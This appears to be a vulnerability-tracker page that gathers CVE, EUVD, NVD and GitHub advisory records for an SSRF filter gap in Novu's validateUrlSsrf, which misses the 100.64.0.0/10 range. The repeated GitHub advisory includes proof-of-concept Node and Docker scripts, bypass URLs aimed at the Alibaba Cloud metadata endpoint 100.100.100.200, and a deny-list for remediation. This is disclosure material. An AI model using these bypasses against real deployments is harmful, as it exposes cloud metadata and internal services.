novu · Vulnerability
cve-program · CVE-2026-125115
PublishedNovu provides an API for sending notifications through multiple channels. Prior to 3.17.0, validateUrlSsrf in libs/application-generic/src/utils/ssrf-url-validation.ts uses the isPrivateIp deny-list without covering the RFC6598 100.64.0.0/10 shared address space or its IPv4-mapped IPv6 forms. The workflow HTTP request step and webhook filter condition can therefore send server-side requests when a configured literal address or resolved hostname falls in that range. In Alibaba Cloud, 100.100.100.200 may expose instance metadata, while self-hosted and multi-tenant deployments may expose provider-internal services, private infrastructure, service meshes, or VPN resources reachable through CGNAT addressing. This issue is fixed in version 3.17.0.
Read the publisher's advisoryeuvd · EUVD-2026-120496
PublishedNovu provides an API for sending notifications through multiple channels. Prior to 3.17.0, validateUrlSsrf in libs/application-generic/src/utils/ssrf-url-validation.ts uses the isPrivateIp deny-list without covering the RFC6598 100.64.0.0/10 shared address space or its IPv4-mapped IPv6 forms. The workflow HTTP request step and webhook filter condition can therefore send server-side requests when a configured literal address or resolved hostname falls in that range. In Alibaba Cloud, 100.100.100.200 may expose instance metadata, while self-hosted and multi-tenant deployments may expose provider-internal services, private infrastructure, service meshes, or VPN resources reachable through CGNAT addressing. This issue is fixed in version 3.17.0.
Read the publisher's advisorynvd · CVE-2026-125115
PublishedNovu provides an API for sending notifications through multiple channels. Prior to 3.17.0, validateUrlSsrf in libs/application-generic/src/utils/ssrf-url-validation.ts uses the isPrivateIp deny-list without covering the RFC6598 100.64.0.0/10 shared address space or its IPv4-mapped IPv6 forms. The workflow HTTP request step and webhook filter condition can therefore send server-side requests when a configured literal address or resolved hostname falls in that range. In Alibaba Cloud, 100.100.100.200 may expose instance metadata, while self-hosted and multi-tenant deployments may expose provider-internal services, private infrastructure, service meshes, or VPN resources reachable through CGNAT addressing. This issue is fixed in version 3.17.0.
Read the publisher's advisoryosv · GHSA-vg6v-j97m-h5xq
PublishedHi Novu team, Reporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run `docker compose up`, plus a single-file probe that runs against Node directly. Locally validated against HEAD `291817c`. ## Summary Novu's shared SSRF guard `validateUrlSsrf(url)` is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block `100.64.0.0/10` shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as `100.100.100.200` (Alibaba Cloud metadata service) and any other service reachable in `100.64.0.0/10`. ## Affected code Guard: - `libs/application-generic/src/utils/ssrf-url-validation.ts` - `isPrivateIp(...)` regex list at lines 9-28 - DNS resolution and address validation at lines 55-72 Product call-sites: - Workflow HTTP request step: `apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts` — calls `validateUrlSsrf(url)` at line 149, then uses `HttpClientService` to send the request. - Webhook filter condition: `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` — calls `validateUrlSsrf(child.webhookUrl)` at line 265, then sends `axios.post(child.webhookUrl, ...)` at line 277. HTTP client: - `libs/application-generic/src/services/http-client/http-client.service.ts` — uses `got(gotOptions)` at lines 120 and 142 after the preflight validation. ## Root cause The SSRF guard uses a hand-written regex deny-list: ```ts /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ``` This list omits `100.64.0.0/10`, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; **Alibaba Cloud metadata is available at `100.100.100.200`**. ## Reproduction — Part 1: unit-level probe (no Docker required) Save the following file and run with `node novu_ssrf_guard_probe.js`. The script replicates `validateUrlSsrf` from `libs/application-generic/src/utils/ssrf-url-validation.ts` **verbatim** (the `isPrivateIp` regex list is copied as-is) and tests several URL categories. ### `novu_ssrf_guard_probe.js` ```javascript const dns = require('dns/promises'); function isPrivateIp(ip) { const privateRanges = [ /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ]; return privateRanges.some((range) => range.test(ip)); } async function validateUrlSsrf(url) { let parsed; try { parsed = new URL(url); } catch { return 'Invalid URL format.'; } if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') { return `URL scheme "${parsed.protocol}" is not allowed.`; } const hostname = parsed.hostname.toLowerCase(); const blockedHostnames = ['localhost', 'metadata.google.internal']; if (blockedHostnames.includes(hostname)) { return `Requests to "${hostname}" are not allowed.`; } let addresses; try { addresses = await dns.lookup(hostname, { all: true }); } catch { return `Unable to resolve hostname "${hostname}".`; } for (const { address } of addresses) { if (isPrivateIp(address)) { return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`; } } return null; } async function main() { for (const url of [ 'http://127.0.0.1/', 'http://0.0.0.0/', 'http://0.0.0.1/', 'http://169.254.169.254/', 'http://100.64.0.1/', 'http://100.100.100.200/', 'http://224.0.0.1/', 'http://[fd00::1]/', 'http://[64:ff9b::7f00:1]/', 'http://[::ffff:100.64.0.1]/', 'http://8.8.8.8/', ]) { console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' })); } } main().catch((e) => { console.error(e); process.exitCode = 1; }); ``` ### Expected output (relevant lines) ```json {"url":"http://127.0.0.1/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1)."} {"url":"http://169.254.169.254/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254)."} {"url":"http://100.64.0.1/","verdict":"ALLOW"} {"url":"http://100.100.100.200/","verdict":"ALLOW"} {"url":"http://8.8.8.8/","verdict":"ALLOW"} ``` The 2nd and 3rd `ALLOW` rows are the bypass — both are non-public destinations the guard should refuse. ## Reproduction — Part 2: end-to-end Docker CGNAT proof Save the three files below into a directory, then: ```bash docker compose up --abort-on-container-exit --exit-code-from novu-client ``` This mirrors the product sequence in `execute-http-request-step.usecase.ts`: resolve hostname → validate with `validateUrlSsrf` → send HTTP request. The "target" container is bound to a CGNAT address (`100.64.0.20`) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range. ### `docker-compose.yml` ```yaml services: cgnat-target: image: python:3.12-alpine command: python -u /srv/target.py volumes: - ./target.py:/srv/target.py:ro networks: novu-cgnat: ipv4_address: 100.64.0.20 novu-client: image: node:22-alpine command: node /srv/client.js volumes: - ./client.js:/srv/client.js:ro depends_on: - cgnat-target networks: novu-cgnat: ipv4_address: 100.64.0.10 networks: novu-cgnat: ipam: config: - subnet: 100.64.0.0/24 ``` ### `target.py` ```python from http.server import BaseHTTPRequestHandler, HTTPServer class Handler(BaseHTTPRequestHandler): def do_POST(self): print(f"[target] {self.client_address[0]} POST {self.path}", flush=True) self.send_response(200) self.send_header("content-type", "application/json") self.end_headers() self.wfile.write(b'{"marker":"NOVU_CGNAT_SSRF_OK"}\n') def log_message(self, fmt, *args): return HTTPServer(("100.64.0.20", 8080), Handler).serve_forever() ``` ### `client.js` ```javascript const dns = require('dns/promises'); function isPrivateIp(ip) { const privateRanges = [ /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ]; return privateRanges.some((range) => range.test(ip)); } async function validateUrlSsrf(url) { const parsed = new URL(url); if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme'; if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) { return 'blocked hostname'; } const addresses = await dns.lookup(parsed.hostname, { all: true }); for (const { address } of addresses) { if (isPrivateIp(address)) return `blocked ${address}`; } return null; } async function waitForTarget(url) { for (let attempt = 0; attempt < 20; attempt += 1) { try { const r = await fetch(url, { method: 'POST' }); await r.text(); return; } catch (_e) { await new Promise((resolve) => setTimeout(resolve, 250)); } } } async function main() { const url = 'http://cgnat-target:8080/workflow-http-step'; const addresses = await dns.lookup('cgnat-target', { all: true }); const validation = await validateUrlSsrf(url); console.log(JSON.stringify({ url, addresses, validation: validation ?? 'ALLOW' })); if (validation) { process.exitCode = 2; return; } await waitForTarget(url); const response = await fetch(url, { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ source: 'novu-http-request-step' }), }); const body = await response.text(); console.log(JSON.stringify({ status: response.status, body })); } main().catch((e) => { console.error(e); process.exitCode = 1; }); ``` ### Expected output ``` novu-client-1 | {"url":"http://cgnat-target:8080/workflow-http-step","addresses":[{"address":"100.64.0.20","family":4}],"validation":"ALLOW"} cgnat-target-1 | [target] 100.64.0.10 POST /workflow-http-step novu-client-1 | {"status":200,"body":"{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\n"} ``` The chain is: 1. Resolve hostname `cgnat-target` → `100.64.0.20` (a CGNAT address). 2. Run Novu's `validateUrlSsrf` against the URL — returns `ALLOW` because `100.64.0.0/10` is missing from `isPrivateIp`. 3. Send the actual server-side HTTP POST → reaches the CGNAT-bound target → response with marker `NOVU_CGNAT_SSRF_OK` is received. ## Impact Any Novu feature that allows a user to configure an outbound HTTP URL and relies on `validateUrlSsrf` may still reach `100.64.0.0/10`. Impact is highest for: - **Alibaba Cloud deployments**, where `http://100.100.100.200/latest/meta-data/` may expose instance metadata. - **Self-hosted deployments** where `100.64.0.0/10` routes to private infrastructure, service meshes, VPNs, carrier-grade NAT, or provider-side internal services. - **Multi-tenant deployments** where one tenant can configure workflow HTTP request steps or webhook filters that execute from shared worker/API infrastructure — cross-tenant SSRF primitive into provider-internal services. ## Suggested remediation - Replace regex matching with IP parsing and CIDR classification, e.g. using `ipaddr.js` with `process(...)` to normalize IPv4-mapped IPv6. - Treat only globally reachable public IPs as allowed by default (`addr.range() === 'unicast'` after IPv4-mapped unwrap, or equivalent). - Explicitly deny all special-use ranges, including at least: - `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, `192.168.0.0/16` - multicast (`224.0.0.0/4`), documentation (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`, `2001:db8::/32`), benchmarking (`198.18.0.0/15`), reserved (`240.0.0.0/4`) - IPv6 ULA (`fc00::/7`), link-local (`fe80::/10`), loopback (`::1`), and the IPv4-mapped variants of all of the above - Add regression tests for: - `100.64.0.1`, `100.100.100.200` - hostnames resolving to those addresses - IPv4-mapped variants of denied IPv4 ranges (e.g., `::ffff:100.64.0.1`) - Consider connection-time validation or a guarded lookup agent so the actual request cannot resolve to a different IP than the preflight checked (DNS-rebinding TOCTOU mitigation). ## Notes This report is intentionally scoped to the concrete `100.64.0.0/10` bypass. Additional missed ranges exist in the current regex guard (multicast `224.0.0.0/4`, broadcast `255.255.255.255`, benchmarking, documentation, `0.0.0.0/8` outside `/32`, and IPv4-mapped variants), but CGNAT is the highest-confidence real-world issue because it includes a known cloud metadata endpoint (`100.100.100.200` on Alibaba Cloud).
Read the publisher's advisoryAffected versions, risk and source history
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cve-program · CVE-2026-125115
PublishedNovu: `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations — affects Workflow HTTP request step + Webhook filter condition
Novu provides an API for sending notifications through multiple channels. Prior to 3.17.0, validateUrlSsrf in libs/application-generic/src/utils/ssrf-url-validation.ts uses the isPrivateIp deny-list without covering the RFC6598 100.64.0.0/10 shared address space or its IPv4-mapped IPv6 forms. The workflow HTTP request step and webhook filter condition can therefore send server-side requests when a configured literal address or resolved hostname falls in that range. In Alibaba Cloud, 100.100.100.200 may expose instance metadata, while self-hosted and multi-tenant deployments may expose provider-internal services, private infrastructure, service meshes, or VPN resources reachable through CGNAT addressing. This issue is fixed in version 3.17.0.
- Source published
- 9 Nov 2026 22:16:35 UTC
- Source modified
- 10 Nov 2026 19:06:56 UTC
- Saved here
- 10 Nov 2026 21:21:24 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 6.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
euvd · EUVD-2026-120496
PublishedNovu provides an API for sending notifications through multiple channels. Prior to 3.17.0, validateUrlSsrf in libs/application-generic/src/utils/ssrf-url-validation.ts uses the isPrivateIp deny-list without covering the RFC6598 100.64.0.0/1…
Novu provides an API for sending notifications through multiple channels. Prior to 3.17.0, validateUrlSsrf in libs/application-generic/src/utils/ssrf-url-validation.ts uses the isPrivateIp deny-list without covering the RFC6598 100.64.0.0/10 shared address space or its IPv4-mapped IPv6 forms. The workflow HTTP request step and webhook filter condition can therefore send server-side requests when a configured literal address or resolved hostname falls in that range. In Alibaba Cloud, 100.100.100.200 may expose instance metadata, while self-hosted and multi-tenant deployments may expose provider-internal services, private infrastructure, service meshes, or VPN resources reachable through CGNAT addressing. This issue is fixed in version 3.17.0.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
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datePublished: Nov 9, 2026, 10:16:35 PM
dateUpdated: Nov 10, 2026, 7:06:56 PM
- Source published
- Nov 9, 2026, 10:16:35 PM (timezone not stated)
- Source modified
- Nov 10, 2026, 7:06:56 PM (timezone not stated)
- Saved here
- 14 Nov 2026 00:05:02 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 6.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
nvd · CVE-2026-125115
PublishedNovu provides an API for sending notifications through multiple channels. Prior to 3.17.0, validateUrlSsrf in libs/application-generic/src/utils/ssrf-url-validation.ts uses the isPrivateIp deny-list without covering the RFC6598 100.64.0.0/1…
Novu provides an API for sending notifications through multiple channels. Prior to 3.17.0, validateUrlSsrf in libs/application-generic/src/utils/ssrf-url-validation.ts uses the isPrivateIp deny-list without covering the RFC6598 100.64.0.0/10 shared address space or its IPv4-mapped IPv6 forms. The workflow HTTP request step and webhook filter condition can therefore send server-side requests when a configured literal address or resolved hostname falls in that range. In Alibaba Cloud, 100.100.100.200 may expose instance metadata, while self-hosted and multi-tenant deployments may expose provider-internal services, private infrastructure, service meshes, or VPN resources reachable through CGNAT addressing. This issue is fixed in version 3.17.0.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-918
Original publisher date fields
published: 2026-11-09T23:17:21.760
lastModified: 2026-11-12T22:18:51.470
- Source published
- 9 Nov 2026 23:17:21 UTC
- Source modified
- 12 Nov 2026 22:18:51 UTC
- Saved here
- 13 Nov 2026 23:59:06 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 6.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
osv · GHSA-vg6v-j97m-h5xq
Published@novu/application-generic: `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations — affects Workflow HTTP request step + Webhook filter condition
Hi Novu team, Reporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run `docker compose up`, plus a single-file probe that runs against Node directly. Locally validated against HEAD `291817c`. ## Summary Novu's shared SSRF guard `validateUrlSsrf(url)` is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block `100.64.0.0/10` shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as `100.100.100.200` (Alibaba Cloud metadata service) and any other service reachable in `100.64.0.0/10`. ## Affected code Guard: - `libs/application-generic/src/utils/ssrf-url-validation.ts` - `isPrivateIp(...)` regex list at lines 9-28 - DNS resolution and address validation at lines 55-72 Product call-sites: - Workflow HTTP request step: `apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts` — calls `validateUrlSsrf(url)` at line 149, then uses `HttpClientService` to send the request. - Webhook filter condition: `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` — calls `validateUrlSsrf(child.webhookUrl)` at line 265, then sends `axios.post(child.webhookUrl, ...)` at line 277. HTTP client: - `libs/application-generic/src/services/http-client/http-client.service.ts` — uses `got(gotOptions)` at lines 120 and 142 after the preflight validation. ## Root cause The SSRF guard uses a hand-written regex deny-list: ```ts /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ``` This list omits `100.64.0.0/10`, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; **Alibaba Cloud metadata is available at `100.100.100.200`**. ## Reproduction — Part 1: unit-level probe (no Docker required) Save the following file and run with `node novu_ssrf_guard_probe.js`. The script replicates `validateUrlSsrf` from `libs/application-generic/src/utils/ssrf-url-validation.ts` **verbatim** (the `isPrivateIp` regex list is copied as-is) and tests several URL categories. ### `novu_ssrf_guard_probe.js` ```javascript const dns = require('dns/promises'); function isPrivateIp(ip) { const privateRanges = [ /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ]; return privateRanges.some((range) => range.test(ip)); } async function validateUrlSsrf(url) { let parsed; try { parsed = new URL(url); } catch { return 'Invalid URL format.'; } if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') { return `URL scheme "${parsed.protocol}" is not allowed.`; } const hostname = parsed.hostname.toLowerCase(); const blockedHostnames = ['localhost', 'metadata.google.internal']; if (blockedHostnames.includes(hostname)) { return `Requests to "${hostname}" are not allowed.`; } let addresses; try { addresses = await dns.lookup(hostname, { all: true }); } catch { return `Unable to resolve hostname "${hostname}".`; } for (const { address } of addresses) { if (isPrivateIp(address)) { return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`; } } return null; } async function main() { for (const url of [ 'http://127.0.0.1/', 'http://0.0.0.0/', 'http://0.0.0.1/', 'http://169.254.169.254/', 'http://100.64.0.1/', 'http://100.100.100.200/', 'http://224.0.0.1/', 'http://[fd00::1]/', 'http://[64:ff9b::7f00:1]/', 'http://[::ffff:100.64.0.1]/', 'http://8.8.8.8/', ]) { console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' })); } } main().catch((e) => { console.error(e); process.exitCode = 1; }); ``` ### Expected output (relevant lines) ```json {"url":"http://127.0.0.1/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1)."} {"url":"http://169.254.169.254/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254)."} {"url":"http://100.64.0.1/","verdict":"ALLOW"} {"url":"http://100.100.100.200/","verdict":"ALLOW"} {"url":"http://8.8.8.8/","verdict":"ALLOW"} ``` The 2nd and 3rd `ALLOW` rows are the bypass — both are non-public destinations the guard should refuse. ## Reproduction — Part 2: end-to-end Docker CGNAT proof Save the three files below into a directory, then: ```bash docker compose up --abort-on-container-exit --exit-code-from novu-client ``` This mirrors the product sequence in `execute-http-request-step.usecase.ts`: resolve hostname → validate with `validateUrlSsrf` → send HTTP request. The "target" container is bound to a CGNAT address (`100.64.0.20`) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range. ### `docker-compose.yml` ```yaml services: cgnat-target: image: python:3.12-alpine command: python -u /srv/target.py volumes: - ./target.py:/srv/target.py:ro networks: novu-cgnat: ipv4_address: 100.64.0.20 novu-client: image: node:22-alpine command: node /srv/client.js volumes: - ./client.js:/srv/client.js:ro depends_on: - cgnat-target networks: novu-cgnat: ipv4_address: 100.64.0.10 networks: novu-cgnat: ipam: config: - subnet: 100.64.0.0/24 ``` ### `target.py` ```python from http.server import BaseHTTPRequestHandler, HTTPServer class Handler(BaseHTTPRequestHandler): def do_POST(self): print(f"[target] {self.client_address[0]} POST {self.path}", flush=True) self.send_response(200) self.send_header("content-type", "application/json") self.end_headers() self.wfile.write(b'{"marker":"NOVU_CGNAT_SSRF_OK"}\n') def log_message(self, fmt, *args): return HTTPServer(("100.64.0.20", 8080), Handler).serve_forever() ``` ### `client.js` ```javascript const dns = require('dns/promises'); function isPrivateIp(ip) { const privateRanges = [ /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ]; return privateRanges.some((range) => range.test(ip)); } async function validateUrlSsrf(url) { const parsed = new URL(url); if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme'; if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) { return 'blocked hostname'; } const addresses = await dns.lookup(parsed.hostname, { all: true }); for (const { address } of addresses) { if (isPrivateIp(address)) return `blocked ${address}`; } return null; } async function waitForTarget(url) { for (let attempt = 0; attempt < 20; attempt += 1) { try { const r = await fetch(url, { method: 'POST' }); await r.text(); return; } catch (_e) { await new Promise((resolve) => setTimeout(resolve, 250)); } } } async function main() { const url = 'http://cgnat-target:8080/workflow-http-step'; const addresses = await dns.lookup('cgnat-target', { all: true }); const validation = await validateUrlSsrf(url); console.log(JSON.stringify({ url, addresses, validation: validation ?? 'ALLOW' })); if (validation) { process.exitCode = 2; return; } await waitForTarget(url); const response = await fetch(url, { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ source: 'novu-http-request-step' }), }); const body = await response.text(); console.log(JSON.stringify({ status: response.status, body })); } main().catch((e) => { console.error(e); process.exitCode = 1; }); ``` ### Expected output ``` novu-client-1 | {"url":"http://cgnat-target:8080/workflow-http-step","addresses":[{"address":"100.64.0.20","family":4}],"validation":"ALLOW"} cgnat-target-1 | [target] 100.64.0.10 POST /workflow-http-step novu-client-1 | {"status":200,"body":"{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\n"} ``` The chain is: 1. Resolve hostname `cgnat-target` → `100.64.0.20` (a CGNAT address). 2. Run Novu's `validateUrlSsrf` against the URL — returns `ALLOW` because `100.64.0.0/10` is missing from `isPrivateIp`. 3. Send the actual server-side HTTP POST → reaches the CGNAT-bound target → response with marker `NOVU_CGNAT_SSRF_OK` is received. ## Impact Any Novu feature that allows a user to configure an outbound HTTP URL and relies on `validateUrlSsrf` may still reach `100.64.0.0/10`. Impact is highest for: - **Alibaba Cloud deployments**, where `http://100.100.100.200/latest/meta-data/` may expose instance metadata. - **Self-hosted deployments** where `100.64.0.0/10` routes to private infrastructure, service meshes, VPNs, carrier-grade NAT, or provider-side internal services. - **Multi-tenant deployments** where one tenant can configure workflow HTTP request steps or webhook filters that execute from shared worker/API infrastructure — cross-tenant SSRF primitive into provider-internal services. ## Suggested remediation - Replace regex matching with IP parsing and CIDR classification, e.g. using `ipaddr.js` with `process(...)` to normalize IPv4-mapped IPv6. - Treat only globally reachable public IPs as allowed by default (`addr.range() === 'unicast'` after IPv4-mapped unwrap, or equivalent). - Explicitly deny all special-use ranges, including at least: - `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, `192.168.0.0/16` - multicast (`224.0.0.0/4`), documentation (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`, `2001:db8::/32`), benchmarking (`198.18.0.0/15`), reserved (`240.0.0.0/4`) - IPv6 ULA (`fc00::/7`), link-local (`fe80::/10`), loopback (`::1`), and the IPv4-mapped variants of all of the above - Add regression tests for: - `100.64.0.1`, `100.100.100.200` - hostnames resolving to those addresses - IPv4-mapped variants of denied IPv4 ranges (e.g., `::ffff:100.64.0.1`) - Consider connection-time validation or a guarded lookup agent so the actual request cannot resolve to a different IP than the preflight checked (DNS-rebinding TOCTOU mitigation). ## Notes This report is intentionally scoped to the concrete `100.64.0.0/10` bypass. Additional missed ranges exist in the current regex guard (multicast `224.0.0.0/4`, broadcast `255.255.255.255`, benchmarking, documentation, `0.0.0.0/8` outside `/32`, and IPv4-mapped variants), but CGNAT is the highest-confidence real-world issue because it includes a known cloud metadata endpoint (`100.100.100.200` on Alibaba Cloud).
- Source published
- 28 Jul 2026 14:59:22 UTC
- Source modified
- 9 Nov 2026 22:30:04 UTC
- Saved here
- 9 Nov 2026 23:02:28 UTC
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- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Publisher rating · MODERATE